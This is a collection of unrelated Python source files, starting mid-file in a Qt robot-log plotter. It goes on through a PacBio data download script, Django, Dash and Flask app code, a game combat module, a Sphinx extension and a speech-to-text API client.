np.full_like(data["qIn_{}".format(i)], 0) data["qOut_limits_lower_{}".format(i)] = data["qIn_limits_lower_{}".format(i)] data["qOut_limits_upper_{}".format(i)] = data["qIn_limits_upper_{}".format(i)] i += 1 i = 0 while "tauIn_{}".format(i) in data: data["tauIn_limits_lower_{}".format(i)] = np.full_like(data["tauIn_{}".format(i)], 0) data["tauIn_limits_upper_{}".format(i)] = np.full_like(data["tauIn_{}".format(i)], 0) i += 1 while "tauOut_{}".format(i) in data: data["tauOut_limits_lower_{}".format(i)] = np.full_like(data["tauOut_{}".format(i)], 0) data["tauOut_limits_upper_{}".format(i)] = np.full_like(data["tauOut_{}".format(i)], 0) i += 1 if 'perf_SolverBuildAndSolve' in data and 'perf_SolverSolve' in data: data['perf_SolverBuild'] = data['perf_SolverBuildAndSolve'] - data['perf_SolverSolve'] if len(self.loaded_files) > 1: if len(self.loaded_files) == 2: keys = self.data.keys() for k in keys: self.data["{}_{}".format(self.loaded_files[0], k)] = self.data[k] del self.data[k] def pos_or_zero(i): if i > 0: return i else: return 0 if pad_left > 0 or pad_right > 0: pleft = pos_or_zero(pad_left) pright = pos_or_zero(pad_right) self.data.data = {k: np.concatenate(([float('nan')]*pleft, v, [float('nan')]*pright)) for k,v in self.data.data.items()} keys = data.keys() for k in keys: def abs_or_zero(i): if i < 0: return -i else: return 0 pleft = abs_or_zero(pad_left) pright = abs_or_zero(pad_right) self.data["{}_{}".format(fpath, k)] = np.concatenate(([float('nan')]*pleft, data[k], [float('nan')]*pright)) self.data['t'] = np.arange(start_t, end_t, dt) # In some cases rounding errors gives us the wrong size so we use the other log timestep if len(self.data['t']) != len(self.data['{}_{}'.format(fpath, k)]): self.data['t'] = np.arange(start_t, end_t, ndt) else: self.data.data = data self.update_data() self.setWindowTitle("MC Log Plotter - {}".format("/".join(self.loaded_files))) def setColorsScheme(self, scheme): self.colorsScheme = scheme for i in range(self.ui.tabWidget.count() - 1): self.ui.tabWidget.widget(i).setColors(self.colorsScheme.colors()) self.colorsScheme.save(self.colorsFile) def setPolyColorsScheme(self, scheme): self.polyColorsScheme = scheme for i in range(self.ui.tabWidget.count() - 1): self.ui.tabWidget.widget(i).setPolyColors(self.polyColorsScheme.colors()) self.polyColorsScheme.save(self.polyColorsFile) def update_data(self): self.update_menu() for i in range(self.ui.tabWidget.count() - 1): tab = self.ui.tabWidget.widget(i) assert(isinstance(tab, MCLogTab)) tab.setData(self.data) tab.setGridStyles(self.gridStyles) tab.setRobotModule(self.rm, self.loaded_files) tab.setColors(self.colorsScheme.colors()) tab.setPolyColors(self.polyColorsScheme.colors()) def update_menu(self): self.ui.menuCommonPlots.clear() menuEntries = [ ("Encoders", "qIn", None, None, None), ("Commands", "qOut", None, None, None), ("Error", "error_q", None, None, None), ("Sensor torques", "tauIn", None, None, None), ("Command torques", "tauOut", None, None, None), ("Sensor/Command torques", "tauIn", "tauOut", None, None), ("Encoders/Commands", "qIn", "qOut", None, None), ("Error/Torque", "error_q", "tauIn", None, None), ("Encoders velocity", None, None, "qIn", None), ("Command velocity", None, None, "qOut", None), ("Encoders velocity/Commands velocity", None, None, "qIn", "qOut"), ("Encoders/Encoders velocity", "qIn", None, None, "qIn"), ("Command/Command velocity", "qOut", None, None, "qOut"), ] def validEntry(y): return any([ y is None or (y is not None and k.startswith(y)) for k in self.data.keys() ]) menuEntries = [ (n, y1, y2, y1d, y2d) for n, y1, y2, y1d, y2d in menuEntries if all([validEntry(y) for y in [y1, y2, y1d, y2d]]) ] for n, y1, y2, y1d, y2d in menuEntries: act = QtWidgets.QAction(n, self.ui.menuCommonPlots) act.triggered.connect(lambda checked, n_=n, y1_=y1, y2_=y2, y1d_=y1d, y2d_=y2d: MCLogJointDialog(self, self.rm, n_, y1_, y2_, y1d_, y2d_).exec_()) self.ui.menuCommonPlots.addAction(act) fSensors = set() for k in self.data: if k.find('ForceSensor') != -1: fSensors.add(k[:k.find('ForceSensor')]) if len(fSensors): fsMenu = QtWidgets.QMenu("Force sensors", self.ui.menuCommonPlots) for f in sorted(fSensors): act = QtWidgets.QAction(f, fsMenu) act.triggered.connect(partial(self.plot_force_sensor, f)) fsMenu.addAction(act) self.ui.menuCommonPlots.addMenu(fsMenu) def plot_force_sensor(self, fs): plotW = MCLogTab.ForceSensorPlot(self, fs) self.ui.tabWidget.insertTab(self.ui.tabWidget.count() - 1, plotW, "FS: {}".format(fs)) self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.count() - 2) self.updateClosable() def plot_joint_data(self, name, joints, y1_prefix = None, y2_prefix = None, y1_diff_prefix = None, y2_diff_prefix = None, plot_limits = False): plotW = MCLogTab.JointPlot(self, joints, y1_prefix, y2_prefix, y1_diff_prefix, y2_diff_prefix, plot_limits) self.ui.tabWidget.insertTab(self.ui.tabWidget.count() - 1, plotW, name) self.ui.tabWidget.setCurrentIndex(self.ui.tabWidget.count() - 2) self.updateClosable()
#!/usr/bin/env python """ Get raw data for pacbio from Mount Sinai """ import sys , io ,os , urllib import optparse, logging class ReadGetter: def __init__( self ): self.__parseArgs( ) self.__initLog( ) def __parseArgs( self ): """Handle command line argument parsing""" usage = "%prog [--help] [options] JOBID" parser = optparse.OptionParser( usage=usage, description=__doc__ ) parser.add_option( "-l", "--logFile", help="Specify a file to log to. Defaults to stderr." ) parser.add_option( "-d", "--debug", action="store_true", help="Increases verbosity of logging" ) parser.add_option( "-i", "--info", action="store_true", help="Display informative log entries" ) parser.add_option( "-p", "--profile", action="store_true", help="Profile this script, dumping to <scriptname>.profile" ) parser.add_option( "-t", "--prefix", help="prefix to append at beginning of the file") parser.add_option( "-e", "--ext", help="bas.h5, ccs.fasta, etc.") parser.add_option( "-s", "--server", help="Change server (default is http://node1.1425mad.mssm.edu/)") parser.add_option( "--noprefix", action="store_true", help="Don't put a prefix in front of the file name - just use whatever the name on the server is") parser.set_defaults( logFile=None, debug=False, info=False, profile=False, ext="bas.h5", prefix=False, server='http://node1.1425mad.mssm.edu/', noprefix = False) self.opts, args = parser.parse_args( ) if len(args) != 1: parser.error( "Expected 1 argument." ) self.server = self.opts.server self.inFN = args[0] self.jobNumber = str(args[0]) if self.opts.prefix == False: self.prefix = 'jobID_'+self.jobNumber+'_' else: self.prefix = self.opts.prefix def __initLog( self ): """Sets up logging based on command line arguments. Allows for three levels of logging: logging.error( ): always emitted logging.info( ): emitted with --info or --debug logging.debug( ): only with --debug""" logLevel = logging.DEBUG if self.opts.debug else logging.INFO if self.opts.info else logging.ERROR logFormat = "%(asctime)s [%(levelname)s] %(message)s" if self.opts.logFile != None: logging.basicConfig( filename=self.opts.logFile, level=logLevel, format=logFormat ) else: logging.basicConfig( stream=sys.stderr, level=logLevel, format=logFormat ) def run( self ): """Executes the body of the script.""" logging.info("Log level set to INFO") logging.debug("Log Level set to DEBUG") jobNumber = self.jobNumber #print jobNumber #print jobNumber[:3] portalURL = self.server home = '/home/sbsuser/pacbio/raw/' splicehome = '/pacbio/raw' ext = self.opts.ext #print ext records = set() if ext == "ccs_reads.fastq": cmd = 'wget http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/data/ccs_reads.fastq' % (jobNumber[:3],jobNumber) logging.info(cmd) os.system(cmd) elif ext == "cmp.h5": #logIn = urllib.urlopen('http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/data/aligned_reads.cmp.h5' % (jobNumber[:3],jobNumber)) cmd = 'wget http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/data/aligned_reads.cmp.h5' % (jobNumber[:3],jobNumber) logging.info(cmd) os.system(cmd) elif ext == "bax.h5": logIn = urllib.urlopen('http://node1.1425mad.mssm.edu/pacbio/secondary/%s/%s/log/smrtpipe.log' % (jobNumber[:3],jobNumber)) for line in logIn: if home in line: ll = line.split(" ") #print "starting a new set:" #print ll #print "raw: ", line line = ll[-3] #print "split: ", line #print portalURL #print line[line.find(splicehome):line.find("bax.h5")] #print ext if not "m" in line[line.find(splicehome):line.find("bax.h5")]: continue records.add(portalURL+line[line.find(splicehome):line.find("bax.h5")] + ext) records.add(portalURL+line[line.find(splicehome):line.find("bax.h5")-2] + "bas.h5") #print records else: print >>sys.stderr, "Not supported file type!" for address in records: logging.info(address) fileIn = urllib.urlopen(address) if self.opts.noprefix: fileout = open(address.split('/')[-1],'w') else: fileout = open(self.prefix+address.split('/')[-1],'w') fileout.write(fileIn.read()) fileout.close() return 0 if __name__ == "__main__": app = ReadGetter() if app.opts.profile: import cProfile cProfile.run( 'app.run()', '%s.profile' % sys.argv[0] ) sys.exit( app.run() ) #for address in records: # print address # filename = address.split('/')[-1] # os.system('wget %s >> %sjobID_%s_%s' % (address , savepath, jobNumber , filename))
from django import forms from api.models import UploadFileModel, Post class UploadFileModelForm(forms.ModelForm): class Meta: model = UploadFileModel fields = ('user', 'file') app_label = 'api' class PostForm(forms.ModelForm): class Meta: model = Post fields = ('user', 'title', 'content') app_label = 'api'
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-08-29 08:35 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('users_app', '0010_profile_dispensary'), ] operations = [ migrations.AddField( model_name='profile', name='balance', field=models.DecimalField(decimal_places=2, max_digits=10, null=True), ), ]
from distutils.core import setup setup( name='django-verbose-logging', version='0.0.1', packages=['django_verbose_logging'], package_dir={'': 'src'}, url='https://github.com/TargetHolding/django-verbose-logging', license='Apache License 2.0', description='Verbose exception logging for Django', install_requires=['Django>=1.7',] )
import dash_bootstrap_components as dbc import dash_html_components as html import dash_core_components as dcc import plotly.offline as pyo import plotly.graph_objs as go statslayout = html.Div([ dcc.Location(id='stats-url', pathname='/stats'), dbc.Container( [dbc.Row( dbc.Col( dbc.Card( dbc.CardBody( [ html.H4("Stats", className="card-title"), html.P("Select users you would like to check", className="card-text"), ] ) ) ) ), html.Br(), dbc.Row( dbc.Col([ dcc.Dropdown( id="user-selection", options=[ {'label': 'A', 'value': 'A'}, {'label': 'B', 'value': 'B'} ], value=['UPDATE-VIEW'], multi=True ) ]), ), html.Br(), dbc.Row( dbc.Col( [ dcc.Graph(id='barplot', figure={ 'data': [go.Bar(x=['Correct', 'incorrect'], y=[0, 0])], 'layout': go.Layout(title='Current stats', xaxis=dict(dtick = 1)) }), ], ), # justify='center' ), ], ) ] )
from flask import Blueprint, render_template, request, flash, jsonify,redirect from flask_login import login_user, login_required, logout_user, current_user from .models import Activity, Cardio from . import db import json views = Blueprint('views', __name__) @views.route('/', methods = ['GET']) @login_required def home(): return render_template("home.html", user=current_user) @views.route('/activities', methods=['GET','POST']) @login_required def activities(): return render_template("activities.html", user=current_user) @views.route('/cardio', methods=['GET','POST']) @login_required def cardio(): if request.method =='POST': cardio_name = request.form.get('cardio_name') place = request.form.get('place') distance = request.form.get('distance') duration = request.form.get('duration') if len(cardio_name) < 1: flash('Name of activity is too short', category='error') else: new_cardio = Cardio(cardio_name=cardio_name, place=place, distance=distance, duration=duration, user_id=current_user.id) db.session.add(new_cardio) db.session.commit() flash('Cardio added', category='Success') return render_template("cardio.html", user=current_user) @views.route('/activity', methods=['GET','POST']) @login_required def activity(): if request.method =='POST': activity_name = request.form.get('activity_name') duration = request.form.get('duration') description = request.form.get('description') if len(activity_name) < 1: flash('Name of activity is too short', category='error') else: new_activity = Activity(activity_name=activity_name,duration=duration, description=description, user_id=current_user.id) db.session.add(new_activity) db.session.commit() flash('Activity added', category='Success') return render_template("activity.html", user=current_user) @views.route('/delete-activity/<int:id>', methods=['POST']) def delete_activity(id): activity_delete = Activity.query.get_or_404(id) db.session.delete(activity_delete) db.session.commit() return redirect('/') @views.route('/delete-cardio/<int:id>', methods=['POST']) def delete_cardio(id): cardio_delete = Cardio.query.get_or_404(id) db.session.delete(cardio_delete) db.session.commit() return redirect('/') @views.route('/activity/<int:id>') def detail_activity(id): activity_detail = Activity.query.get(id) return render_template("activity-detail.html", user=current_user, activity=activity_detail) @views.route('/cardio/<int:id>') def detail_cardio(id): cardio_detail = Cardio.query.get(id) return render_template("cardio-detail.html", user=current_user, cardio=cardio_detail)
from combat.defenseresult import DefenseResult from combat.defenses.base import Defense from echo import functions class ArmorAbsorb(Defense): name = "Armor Absorb" description = "Your Armor absorbs the damage." attacker_message = "but your {attacker_weapon} glances off {defender_his} {defender_armor}!" observer_message = "but {attacker_his} {attacker_weapon} glances off {defender_his} {defender_armor}!" @classmethod def evaluate(cls, attack_result): defender = attack_result.context.defender effective_dex_modifier = defender.get_effective_dex_modifier() shield_modifier = defender.get_shield_modifiers() minimum_ac = 10 + effective_dex_modifier + shield_modifier maximum_ac = minimum_ac + defender.get_armor_modifiers() if minimum_ac <= attack_result.total_hit_roll <= maximum_ac: return True return False @classmethod def execute(cls, attack_result): return DefenseResult(message=cls.get_message(attack_result)) @classmethod def get_message(cls, attack_result): attacker = attack_result.context.attacker defender = attack_result.context.defender attacker_weapon = attack_result.context.attacker_weapon body_part_hit = attack_result.body_part_hit defender_armor = defender.equipment.worn_equipment_map.get(body_part_hit) if defender_armor: defender_armor = defender_armor[0] if attacker.is_player: return cls.attacker_message.format( defender_his=functions.his_her_it(defender), defender_armor=defender_armor.name if defender_armor else "armor", attacker_weapon=functions.get_name_or_string(attacker_weapon) ) else: return cls.observer_message.format( attacker_his=functions.his_her_it(attacker), defender_his=functions.his_her_it(defender), defender_armor=defender_armor.name if defender_armor else "armor", attacker_weapon=functions.get_name_or_string(attacker_weapon) )
def isPrime(x): if x == 1 or x == 0: return False for y in range(2, int(x / 2) + 1): if x % y == 0: return False return True def digitPrime(x): for digit in str(x): if not isPrime(int(digit)): return False return True sum = 0 for x in range(10000): if isPrime(x) and digitPrime(x): sum += x print(sum)
from base_app.models.mongodb.keyword.keyword import KeyWordModel __author__ = 'Morteza' class KeyWordClass: def __init__(self, user_keyword=None): self.user_keyword = user_keyword def get_keyword_info(self, __key): user_keywords = self.user_keyword r = filter(lambda _key: _key['_id'] == __key, user_keywords) if len(r): return r[0] else: try: return KeyWordModel(_id=__key).get_one()["value"] except: pass return False def get_keywords(self, key_words): search_keywords = [] for i in key_words: r = self.get_keyword_info(i) if r: search_keywords.append(r) key_query = '' for topic in search_keywords: _keyword = [] _no_keyword = [] for __key in topic['keyword']: _keyword += [__key['keyword']] + __key['synonyms'] _no_keyword += __key['no_synonyms'] keyword_query = ' OR '.join('\"' + e.encode('utf-8').strip() + '\"' for e in _keyword).replace('AND AND', 'AND') no_keyword_query = ' OR '.join('\"' + e.encode('utf-8').strip() + '\"' for e in _no_keyword).replace('AND AND', 'AND') _query = '' if keyword_query != '': _query += '({})'.format(keyword_query) if no_keyword_query != '': if _query == '': _query += 'NOT({})'.format(no_keyword_query) else: _query += ' AND NOT({})'.format(no_keyword_query) if key_query == '': key_query += '({})'.format(_query) else: key_query += ' OR ({})'.format(_query) return key_query def get_query_keyword(self): body = [] user_keywords_ids = [i['_id'] for i in self.user_keyword] keywords = self.get_keywords(user_keywords_ids) if keywords != '': body.append({ "query": { "query_string": { "fields": ["ro_title", "title", "summary", "body"], "query": keywords } } }) return body def get_topics(self, key_words): search_keywords = [] for i in key_words: r = self.get_keyword_info(i) if r: search_keywords.append(r) key_query = [] for topic in search_keywords: _keyword = [] _no_keyword = [] for __key in topic['keyword']: _keyword += [__key['keyword']] + __key['synonyms'] _no_keyword += __key['no_synonyms'] keyword_query = ' OR '.join('\"' + e.encode('utf-8').strip() + '\"' for e in _keyword).replace('AND AND', 'AND') no_keyword_query = ' OR '.join('\"' + e.encode('utf-8').strip() + '\"' for e in _no_keyword).replace('AND AND', 'AND') _query = '' if keyword_query != '': _query += '({})'.format(keyword_query) if no_keyword_query != '': if _query == '': _query += 'NOT({})'.format(no_keyword_query) else: _query += ' AND NOT({})'.format(no_keyword_query) if _query != '': key_query.append(dict(query=_query, topic=topic['topic'])) return key_query def get_list_query_topic(self): body = [] user_keywords_ids = [i['_id'] for i in self.user_keyword] keywords = self.get_topics(user_keywords_ids) for query in keywords: body.append(dict(query={ "query": { "query_string": { "fields": ["ro_title", "title", "summary", "body"], "query": query['query'] } } }, topic=query['topic'])) return body def get_list_keywords(self, key_words): search_keywords = [] for i in key_words: r = self.get_keyword_info(i) if r: search_keywords.append(r) key_query = [] for topic in search_keywords: for __key in topic['keyword']: _keyword = [__key['keyword']] + __key['synonyms'] _no_keyword = __key['no_synonyms'] keyword_query = ' OR '.join('\"' + e.encode('utf-8').strip() + '\"' for e in _keyword).replace('AND AND', 'AND') no_keyword_query = ' OR '.join('\"' + e.encode('utf-8').strip() + '\"' for e in _no_keyword).replace('AND AND', 'AND') _query = '' if keyword_query != '': _query += '({})'.format(keyword_query) if no_keyword_query != '': if _query == '': _query += 'NOT({})'.format(no_keyword_query) else: _query += ' AND NOT({})'.format(no_keyword_query) if _query != '': key_query.append(dict(query=_query, keyword=__key['keyword'])) return key_query def get_list_query_keyword(self): body = [] user_keywords_ids = [i['_id'] for i in self.user_keyword] keywords = self.get_list_keywords(user_keywords_ids) for query in keywords: body.append(dict(query={ "query": { "query_string": { "fields": ["ro_title", "title", "summary", "body"], "query": query['query'] } } }, keyword=query['keyword'])) return body
# Copyright (C) 2021 # Author: Kacper Sokol <ks1591@my.bristol.ac.uk> # License: new BSD """ Implements the `cssterm` directive for Jupyter Book and Sphinx. """ import os import sys from docutils import nodes from docutils.parsers.rst import Directive import sphinx_term DEPENDENCIES = { # See sphinx_term/_static/README.md for more info # jQuery (MIT): https://github.com/jquery/jquery 'jquery.js': 'https://code.jquery.com/jquery-latest.min.js' } STATIC_CSS_FILES = ['cssterm/css/cssterm.css'] STATIC_JS_FILES = ['cssterm/scripts/cssterm.js'] STATIC_FILES = STATIC_CSS_FILES + STATIC_JS_FILES REFNAME = 'terminal box' if sys.version_info >= (3, 0): unicode = str #### cssterm directive ######################################################## class cssterm_anchor(nodes.General, nodes.Element): """A `docutils` node anchoring cssterm boxes.""" def visit_cssterm_anchor_node(self, node): """Builds an opening HTML tag for cssterm anchors.""" self.body.append(self.starttag(node, 'div')) def depart_cssterm_anchor_node(self, node): """Builds a closing HTML tag for cssterm anchors.""" self.body.append('</div>\n') def visit_cssterm_anchor_node_(self, node): """Builds a prefix for embedding cssterm anchors in LaTeX and raw text.""" raise NotImplemented def depart_cssterm_anchor_node_(self, node): """Builds a postfix for embedding cssterm anchors in LaTeX and raw text.""" raise NotImplemented class cssterm_box(nodes.literal_block, nodes.Element): """A `docutils` node holding cssterm boxes.""" def visit_cssterm_box_node(self, node): """Builds an opening HTML tag for cssterm boxes.""" self.body.append(self.starttag(node, 'div', CLASS='cssterm')) def depart_cssterm_box_node(self, node): """Builds a closing HTML tag for cssterm boxes.""" self.body.append('</div>\n') def visit_cssterm_box_node_(self, node): """Builds a prefix for embedding cssterm boxes in LaTeX and raw text.""" raise NotImplemented def depart_cssterm_box_node_(self, node): """Builds a postfix for embedding cssterm boxes in LaTeX and raw text. """ raise NotImplemented class CSSterm(Directive): """ Defines the `cssterm` directive that builds cssterm boxes. The `cssterm` directive is of the form:: .. cssterm:: cssterm:1.2.3 (required) If loaded from an external file, the box id needs to be a terminal transcript file name **with** the `cssterm:` prefix and **without** the `.log` extension, located in a single directory. The directory is given to Sphinx via the `sphinx_term_cssterm_dir` config setting. If this parameter is not set, terminal box content must be provided explicitly. This Sphinx extension monitors the terminal transcript files for changes and regenerates the content pages that use them if a change is detected. """ required_arguments = 1 optional_arguments = 0 final_argument_whitespace = False has_content = True option_spec = {} def run(self): """Builds a cssterm box.""" env = self.state.document.settings.env # retrieve the path to the directory holding the code files st_term_dir = env.config.sphinx_term_cssterm_dir assert isinstance(st_term_dir, str) or st_term_dir is None # get the terminal file name for this particular cssterm box assert len(self.arguments) == 1, ( 'Just one argument -- terminal block id (possibly encoding the ' 'code file name -- expected') term_filename_id = self.arguments[0] assert term_filename_id.startswith('cssterm:'), ( 'The terminal box label ({}) must start with the "cssterm:" ' 'prefix.'.format(term_filename_id)) assert not term_filename_id.endswith('.log'), ( 'The terminal box label ({}) must not end with the ".log" ' 'extension prefix.'.format(term_filename_id)) # add the .log extension as it is missing term_filename = '{}.log'.format(term_filename_id[8:]) # if the content is given explicitly, use it instead of loading a file if self.content: contents = '\n'.join(self.content) else: localised_directory = sphinx_term.localise_term_directory( env.srcdir, st_term_dir, ('sphinx_term_cssterm_dir', 'cssterm box content')) # compose the full path to the code file and ensure it exists path_localised = os.path.join(localised_directory, term_filename) # path_original = os.path.join(st_term_dir, term_filename) sphinx_term.file_exists(path_localised) # memorise the association between the document (a content source # file) and the terminal box -- this is used for watching for # terminal file updates env.note_dependency(path_localised) # read in the terminal file with open(path_localised, 'r') as f: contents = f.read().strip('\n') # create a cssterm node box = cssterm_box(contents.strip(), contents, ids=['{}-box'.format( nodes.make_id(term_filename_id))], label=term_filename_id) # create anchor anchor = cssterm_anchor() # assign label and id (`ids=[nodes.make_id(term_filename_id)]`) self.options['name'] = term_filename_id self.add_name(anchor) # insert the terminal box node into the anchor node anchor += box return [anchor] def assign_reference_title(app, document): """ Update the labels record of the standard environment to allow referencing cssterm boxes. """ # get the standard domain domain = app.env.get_domain('std') # go through every cssterm box for node in document.traverse(cssterm_anchor): # every cssterm box must have exactly one name starting with 'cssterm:' assert node['names'] assert len(node['names']) == 1 node_name = node['names'][0] assert node_name.startswith('cssterm:'), ( 'cssterm box ids must start with cssterm:') refname = REFNAME # every cssterm box has a single id assert len(node['ids']) == 1 node_id = node['ids'][0] # get the document name docname = app.env.docname # every cssterm box should **already** be referenceable without a title assert node_name in domain.anonlabels assert domain.anonlabels[node_name] == (docname, node_id) # allow this cssterm box to be referenced with the default # 'terminal box' stub (REFNAME) domain.labels[node_name] = (docname, node_id, refname) #### Extension setup ########################################################## def include_static_files(app): """ Copies the static files required by this extension. (Attached to the `builder-inited` Sphinx event.) """ for file_name in STATIC_FILES: file_path = sphinx_term.get_static_path(file_name) if file_path not in app.config.html_static_path: app.config.html_static_path.append(file_path) def load_static_files(app, pagename, templatename, context, doctree): """Includes cssterm static files only on pages that use the module.""" # only go through non-empty documents if doctree is None: return # get cssterm boxes cssterm_boxes = doctree.traverse(cssterm_box) # skip pages without at least one cssterm box if not cssterm_boxes: return # ensure that custom files were included for css_file in STATIC_CSS_FILES: _css_file = os.path.basename(css_file) if not sphinx_term.is_css_registered(app, _css_file): app.add_css_file(_css_file) for js_file in STATIC_JS_FILES: _js_file = os.path.basename(js_file) if not sphinx_term.is_js_registered(app, _js_file): app.add_js_file(_js_file) # add external dependencies script_files = [os.path.basename(i) for i in context['script_files']] for stub, path in DEPENDENCIES.items(): if sphinx_term.is_js_registered(app, path) or stub in script_files: continue app.add_js_file(path) def setup(app): """ Sets up the Sphinx extension for the `cssterm` directive. """ # register two Sphinx config values used for the extension app.add_config_value('sphinx_term_cssterm_dir', None, 'env') # register the custom docutils nodes with Sphinx app.add_node( cssterm_box, html=(visit_cssterm_box_node, depart_cssterm_box_node), latex=(visit_cssterm_box_node_, depart_cssterm_box_node_), text=(visit_cssterm_box_node_, depart_cssterm_box_node_) ) app.add_node( cssterm_anchor, html=(visit_cssterm_anchor_node, depart_cssterm_anchor_node), latex=(visit_cssterm_anchor_node_, depart_cssterm_anchor_node_), text=(visit_cssterm_anchor_node_, depart_cssterm_anchor_node_) ) # register the custom role and directives with Sphinx app.add_directive('cssterm', CSSterm) # connect custom hooks to the Sphinx build process app.connect('doctree-read', assign_reference_title) # ...ensure the required static files are **copied** into the build app.connect('builder-inited', include_static_files) # ...ensure that relevant html output pages **load** the static files app.connect('html-page-context', load_static_files) return {'version': sphinx_term.VERSION}
import requests import json class VoiceToText: UNKNOWN_ERROR = 'X' CODES = {'-1': '認証に失敗しました。', '-2': '必須パラメータがありません。', '-3': '音声データがありません。', '-4': '音声認識サーバー側でエラーが発生しました。', '-5': '無効なEngineModeが指定されました。', '1': '利用回数制限を超えています。', '2': '利用秒数制限を超えています。', 'o': 'サーバーエラー: 認識結果全体の信頼度が信頼度閾値を下回ったため認識に失敗しました。', 'b': 'サーバーエラー: 音声認識サーバが混んでいるため認識に失敗しました。', 'c': 'サーバーエラー: 認識処理中断要求がなされたために認識に失敗しました。', UNKNOWN_ERROR: 'サーバーエラー: 不明なエラーが発生しました。'} def __init__(self, url, api_key): self.__url = url # APIのURL self.__api_key = api_key # APIのキー # WAVEファイル(PCM(MSB)16khz/16bit)からテキストへ変換 def wave_file_to_text(self, filepath): url = f"{self.__url}?APIKEY={self.__api_key}" param = {"a":open(filepath, 'rb'), "v":"on"} return self.__to_text(url, param) # バイナリ文字列のデータ(PCM(MSB)16khz/16bit)からテキストへ変換 def word_string_to_text(self, word_string): url = f"{self.__url}?APIKEY={self.__api_key}" param = {"a":word_string, "v":"on"} return self.__to_text(url, param) # 音声認識APIを用いて音声からテキストを取得 def __to_text(self, url, param): r = requests.post(url, files=param) if r.status_code == requests.codes.ok: #pylint: disable=no-member json_data = r.json() code = json_data['code'] if code != '': raise Exception(self.CODES.get(code, self.UNKNOWN_ERROR)) text = json_data['text'] results = json_data['results'] return (text, results) else: raise Exception(r.text)